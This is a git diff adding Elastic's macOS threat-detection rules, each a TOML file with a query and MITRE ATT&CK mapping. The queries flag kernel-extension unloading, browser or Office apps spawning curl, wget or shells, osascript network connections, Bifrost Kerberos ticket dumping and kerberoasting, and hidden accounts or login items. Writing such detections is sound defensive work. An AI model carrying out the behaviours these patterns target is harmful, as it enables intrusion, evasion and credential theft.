b/rules/macos/defense_evasion_unload_endpointsecurity_kext.toml new file mode 100644 index 000000000..7d4fe892b --- /dev/null +++ b/rules/macos/defense_evasion_unload_endpointsecurity_kext.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/01/05" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies attempts to unload the Elastic Endpoint Security kernel extension via the kextunload command." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Unload Elastic Endpoint Security Kernel Extension" +risk_score = 73 +rule_id = "70fa1af4-27fd-4f26-bd03-50b6af6b9e24" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:kextunload and process.args:("/System/Library/Extensions/EndpointSecurity.kext" or "EndpointSecurity.kext") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/discovery_users_domain_built_in_commands.toml b/rules/macos/discovery_users_domain_built_in_commands.toml new file mode 100644 index 000000000..c0f56594f --- /dev/null +++ b/rules/macos/discovery_users_domain_built_in_commands.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/01/12" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = "Identifies the execution of macOS built-in commands related to account or group enumeration." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Enumeration of Users or Groups via Built-in Commands" +risk_score = 21 +rule_id = "6e9b351e-a531-4bdc-b73e-7034d6eed7ff" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + not process.parent.executable : ("/Applications/NoMAD.app/Contents/MacOS/NoMAD", + "/Applications/ZoomPresence.app/Contents/MacOS/ZoomPresence", + "/Applications/Sourcetree.app/Contents/MacOS/Sourcetree", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon", + "/Applications/Jamf Connect.app/Contents/MacOS/Jamf Connect", + "/usr/local/jamf/bin/jamf" + ) and + process.name : ("ldapsearch", "dsmemberutil") or + (process.name : "dscl" and + process.args : ("read", "-read", "list", "-list", "ls", "search", "-search") and + process.args : ("/Active Directory/*", "/Users*", "/Groups*")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1069" +name = "Permission Groups Discovery" +reference = "https://attack.mitre.org/techniques/T1069/" + +[[rule.threat.technique]] +id = "T1087" +name = "Account Discovery" +reference = "https://attack.mitre.org/techniques/T1087/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/macos/execution_defense_evasion_electron_app_childproc_node_js.toml b/rules/macos/execution_defense_evasion_electron_app_childproc_node_js.toml new file mode 100644 index 000000000..cbff61140 --- /dev/null +++ b/rules/macos/execution_defense_evasion_electron_app_childproc_node_js.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/01/07" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to execute a child process from within the context of an Electron application using the +child_process Node.js module. Adversaries may abuse this technique to inherit permissions from parent processes. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Execution via Electron Child Process Node.js Module" +references = [ + "https://www.matthewslipper.com/2019/09/22/everything-you-wanted-electron-child-process.html", + "https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/", + "https://nodejs.org/api/child_process.html", +] +risk_score = 47 +rule_id = "35330ba2-c859-4c98-8b7f-c19159ea0e58" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.args:("-e" and const*require*child_process*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/execution_initial_access_suspicious_browser_childproc.toml b/rules/macos/execution_initial_access_suspicious_browser_childproc.toml new file mode 100644 index 000000000..87dde1bde --- /dev/null +++ b/rules/macos/execution_initial_access_suspicious_browser_childproc.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2020/12/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a suspicious browser child process. Adversaries may gain access to a system through a user +visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted +for exploitation. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Browser Child Process" +references = [ + "https://objective-see.com/blog/blog_0x43.html", + "https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang", +] +risk_score = 73 +rule_id = "080bc66a-5d56-4d1f-8071-817671716db9" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Initial Access", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : ("Google Chrome", "Google Chrome Helper*", "firefox", "Opera", "Safari", "com.apple.WebKit.WebContent", "Microsoft Edge") and + process.name : ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "wget", "python*", "perl*", "php*", "osascript", "pwsh") and + process.command_line != null and + not process.args : + ( + "/Library/Application Support/Microsoft/MAU*/Microsoft AutoUpdate.app/Contents/MacOS/msupdate", + "hw.model", + "IOPlatformExpertDevice", + "/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/*/Resources/install.sh", + "--defaults-torrc", + "Chrome.app", + "Framework.framework/Versions/*/Resources/keystone_promote_preflight.sh", + "/Users/*/Library/Application Support/Google/Chrome/recovery/*/ChromeRecovery", + "$DISPLAY", + "GIO_LAUNCHED_DESKTOP_FILE_PID=$$" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1203" +name = "Exploitation for Client Execution" +reference = "https://attack.mitre.org/techniques/T1203/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1189" +name = "Drive-by Compromise" +reference = "https://attack.mitre.org/techniques/T1189/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/macos/execution_installer_spawned_network_event.toml b/rules/macos/execution_installer_spawned_network_event.toml new file mode 100644 index 000000000..669bd030f --- /dev/null +++ b/rules/macos/execution_installer_spawned_network_event.toml @@ -0,0 +1,80 @@ +[metadata] +creation_date = "2021/02/23" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies when the built in macOS Installer program generates a network event after attempting to install a .pkg file. +This activity has been observed being leveraged by malware. +""" +false_positives = [ + """ + Custom organization-specific macOS packages that use .pkg files to run cURL could trigger this rule. If known + behavior is causing false positives, it can be excluded from the rule. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "macOS Installer Spawns Network Event" +references = [ + "https://redcanary.com/blog/clipping-silver-sparrows-wings", + "https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml", +] +risk_score = 47 +rule_id = "99239e7d-b0d4-46e3-8609-acafcf99f68c" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=1m + [process where event.type == "start" and host.os.family == "macos" and + process.parent.executable in ("/usr/sbin/installer", "/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer") ] + [network where not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", + "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.007" +name = "JavaScript" +reference = "https://attack.mitre.org/techniques/T1059/007/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1071" +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" +[[rule.threat.technique.subtechnique]] +id = "T1071.001" +name = "Web Protocols" +reference = "https://attack.mitre.org/techniques/T1071/001/" + + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/macos/execution_script_via_automator_workflows.toml b/rules/macos/execution_script_via_automator_workflows.toml new file mode 100644 index 000000000..4636116f4 --- /dev/null +++ b/rules/macos/execution_script_via_automator_workflows.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/12/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of the Automator Workflows process followed by a network connection from it's XPC service. +Adversaries may drop a custom workflow template that hosts malicious JavaScript for Automation (JXA) code as an +alternative to using osascript. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Automator Workflows Execution" +references = ["https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"] +risk_score = 47 +rule_id = "5d9f8cfc-0d03-443e-a167-2b0597ce0965" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=30s + [process where event.type in ("start", "process_started") and process.name == "automator"] + [network where process.name:"com.apple.automator.runner"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/macos/execution_scripting_osascript_exec_followed_by_netcon.toml b/rules/macos/execution_scripting_osascript_exec_followed_by_netcon.toml new file mode 100644 index 000000000..626651d96 --- /dev/null +++ b/rules/macos/execution_scripting_osascript_exec_followed_by_netcon.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Detects execution via the Apple script interpreter (osascript) followed by a network connection from the same process +within a short time period. Adversaries may use malicious scripts for execution and command and control. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Apple Script Execution followed by Network Connection" +references = [ + "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html", + "https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml" +] +risk_score = 47 +rule_id = "47f76567-d58a-4fed-b32b-21f571e28910" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Command and Control", "Execution"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan=30s + [process where event.type == "start" and process.name == "osascript"] + [network where event.type != "end" and process.name == "osascript" and destination.ip != "::1" and + not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", + "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +name = "Ingress Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1105/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/macos/execution_shell_execution_via_apple_scripting.toml b/rules/macos/execution_shell_execution_via_apple_scripting.toml new file mode 100644 index 000000000..676757576 --- /dev/null +++ b/rules/macos/execution_shell_execution_via_apple_scripting.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2021/06/22" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of the shell process (sh) via scripting (JXA or AppleScript). Adversaries may use the +doShellScript functionality in JXA or do shell script in AppleScript to execute system commands. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Shell Execution via Apple Scripting" +references = [ + "https://developer.apple.com/library/archive/technotes/tn2065/_index.html", + "https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf", +] +risk_score = 47 +rule_id = "d461fac0-43e8-49e2-85ea-3a58fe120b4f" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=5s + [process where event.type in ("start", "process_started", "info") and process.name == "osascript"] by process.pid + [process where event.type in ("start", "process_started") and process.name == "sh" and process.args == "-c"] by process.parent.pid +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/macos/initial_access_suspicious_mac_ms_office_child_process.toml b/rules/macos/initial_access_suspicious_mac_ms_office_child_process.toml new file mode 100644 index 000000000..d2fbc37c0 --- /dev/null +++ b/rules/macos/initial_access_suspicious_mac_ms_office_child_process.toml @@ -0,0 +1,81 @@ +[metadata] +creation_date = "2021/01/04" +maturity = "production" +updated_date = "2021/03/09" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, and +Excel). These child processes are often launched during exploitation of Office applications or by documents with +malicious macros. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious macOS MS Office Child Process" +references = ["https://blog.malwarebytes.com/cybercrime/2017/02/microsoft-office-macro-malware-targets-macs/"] +risk_score = 47 +rule_id = "66da12b1-ac83-40eb-814c-07ed1d82b7b9" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name:("Microsoft Word", "Microsoft PowerPoint", "Microsoft Excel") and + process.name: + ( + "bash", + "dash", + "sh", + "tcsh", + "csh", + "zsh", + "ksh", + "fish", + "python*", + "perl*", + "php*", + "osascript", + "pwsh", + "curl", + "wget", + "cp", + "mv", + "base64", + "launchctl" + ) and + /* noisy false positives related to product version discovery and office errors reporting */ + not process.args: + ( + "ProductVersion", + "hw.model", + "ioreg", + "ProductName", + "ProductUserVisibleVersion", + "ProductBuildVersion", + "/Library/Application Support/Microsoft/MERP*/Microsoft Error Reporting.app/Contents/MacOS/Microsoft Error Reporting" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/macos/lateral_movement_credential_access_kerberos_bifrostconsole.toml b/rules/macos/lateral_movement_credential_access_kerberos_bifrostconsole.toml new file mode 100644 index 000000000..dcc836e81 --- /dev/null +++ b/rules/macos/lateral_movement_credential_access_kerberos_bifrostconsole.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/01/12" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of Bifrost, a known macOS Kerberos pentesting tool, which can be used to dump cached Kerberos tickets or +attempt unauthorized authentication techniques such as pass-the-ticket/hash and kerberoasting. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Kerberos Attack via Bifrost" +references = ["https://github.com/its-a-feature/bifrost"] +risk_score = 73 +rule_id = "16904215-2c95-4ac8-bf5c-12354e047192" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:start and + process.args:("-action" and ("-kerberoast" or askhash or asktgs or asktgt or s4u or ("-ticket" and ptt) or (dump and (tickets or keytab)))) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.003" +name = "Pass the Ticket" +reference = "https://attack.mitre.org/techniques/T1550/003/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + [[rule.threat.technique.subtechnique]] + name = "Kerberoasting" + id = "T1558.003" + reference = "https://attack.mitre.org/techniques/T1558/003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/lateral_movement_mounting_smb_share.toml b/rules/macos/lateral_movement_mounting_smb_share.toml new file mode 100644 index 000000000..e1cad6ddf --- /dev/null +++ b/rules/macos/lateral_movement_mounting_smb_share.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/01/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of macOS built-in commands to mount a Server Message Block (SMB) network share. Adversaries may +use valid accounts to interact with a remote network share using SMB. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Attempt to Mount SMB Share via Command Line" +references = ["https://www.freebsd.org/cgi/man.cgi?mount_smbfs", "https://ss64.com/osx/mount.html"] +risk_score = 21 +rule_id = "661545b4-1a90-4f45-85ce-2ebd7c6a15d0" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ( + process.name : "mount_smbfs" or + (process.name : "open" and process.args : "smb://*") or + (process.name : "mount" and process.args : "smbfs") or + (process.name : "osascript" and process.command_line : "osascript*mount volume*smb://*") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/macos/lateral_movement_remote_ssh_login_enabled.toml b/rules/macos/lateral_movement_remote_ssh_login_enabled.toml new file mode 100644 index 000000000..1054f67db --- /dev/null +++ b/rules/macos/lateral_movement_remote_ssh_login_enabled.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Detects use of the systemsetup command to enable remote SSH Login." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Remote SSH Login Enabled via systemsetup Command" +references = [ + "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "https://ss64.com/osx/systemsetup.html", + "https://support.apple.com/guide/remote-desktop/about-systemsetup-apd95406b8d/mac", +] +risk_score = 47 +rule_id = "5ae4e6f8-d1bf-40fa-96ba-e29645e1e4dc" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:systemsetup and + process.args:("-setremotelogin" and on) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/macos/lateral_movement_vpn_connection_attempt.toml b/rules/macos/lateral_movement_vpn_connection_attempt.toml new file mode 100644 index 000000000..272c11a46 --- /dev/null +++ b/rules/macos/lateral_movement_vpn_connection_attempt.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/01/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies the execution of macOS built-in commands to connect to an existing Virtual Private Network (VPN)." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Virtual Private Network Connection Attempt" +references = [ + "https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/manage/vpn.rb", + "https://www.unix.com/man-page/osx/8/networksetup/", + "https://superuser.com/questions/358513/start-configured-vpn-from-command-line-osx", +] +risk_score = 21 +rule_id = "15dacaa0-5b90-466b-acab-63435a59701a" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ( + (process.name : "networksetup" and process.args : "-connectpppoeservice") or + (process.name : "scutil" and process.args : "--nc" and process.args : "start") or + (process.name : "osascript" and process.command_line : "osascript*set VPN to service*") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/macos/persistence_account_creation_hide_at_logon.toml b/rules/macos/persistence_account_creation_hide_at_logon.toml new file mode 100644 index 000000000..31cc60b97 --- /dev/null +++ b/rules/macos/persistence_account_creation_hide_at_logon.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/01/05" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to create a local account that will be hidden from the macOS logon window. This may indicate an +attempt to evade user attention while maintaining persistence using a separate local account. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Hidden Local User Account Creation" +references = ["https://support.apple.com/en-us/HT203998"] +risk_score = 47 +rule_id = "41b638a1-8ab6-4f8e-86d9-466317ef2db5" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:dscl and process.args:(IsHidden and create and (true or 1 or yes)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +[[rule.threat.technique.subtechnique]] +id = "T1078.003" +name = "Local Accounts" +reference = "https://attack.mitre.org/techniques/T1078/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_creation_change_launch_agents_file.toml b/rules/macos/persistence_creation_change_launch_agents_file.toml new file mode 100644 index 000000000..f67eea227 --- /dev/null +++ b/rules/macos/persistence_creation_change_launch_agents_file.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +An adversary can establish persistence by installing a new launch agent that executes at login by using launchd or +launchctl to load a plist into the appropriate directories. +""" +false_positives = ["Trusted applications persisting via LaunchAgent"] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Launch Agent Creation or Modification and Immediate Loading" +references = [ + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", +] +risk_score = 21 +rule_id = "082e3f8c-6f80-485c-91eb-5b112cb79b28" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=1m + [file where event.type != "deletion" and + file.path : ("/System/Library/LaunchAgents/*", "/Library/LaunchAgents/*", "/Users/*/Library/LaunchAgents/*") + ] + [process where event.type in ("start", "process_started") and process.name == "launchctl" and process.args == "load"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.001" +name = "Launch Agent" +reference = "https://attack.mitre.org/techniques/T1543/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_creation_hidden_login_item_osascript.toml b/rules/macos/persistence_creation_hidden_login_item_osascript.toml new file mode 100644 index 000000000..b6b13172d --- /dev/null +++ b/rules/macos/persistence_creation_hidden_login_item_osascript.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/01/05" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of osascript to create a hidden login item. This may indicate an attempt to persist a malicious +program while concealing its presence. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation of Hidden Login Item via Apple Script" +risk_score = 47 +rule_id = "f24bcae1-8980-4b30-b5dd-f851b055c9e7" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "osascript" and + process.command_line : "osascript*login item*hidden:true*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.011" +name = "Plist Modification" +reference = "https://attack.mitre.org/techniques/T1547/011/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.002" +name = "AppleScript" +reference = "https://attack.mitre.org/techniques/T1059/002/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" 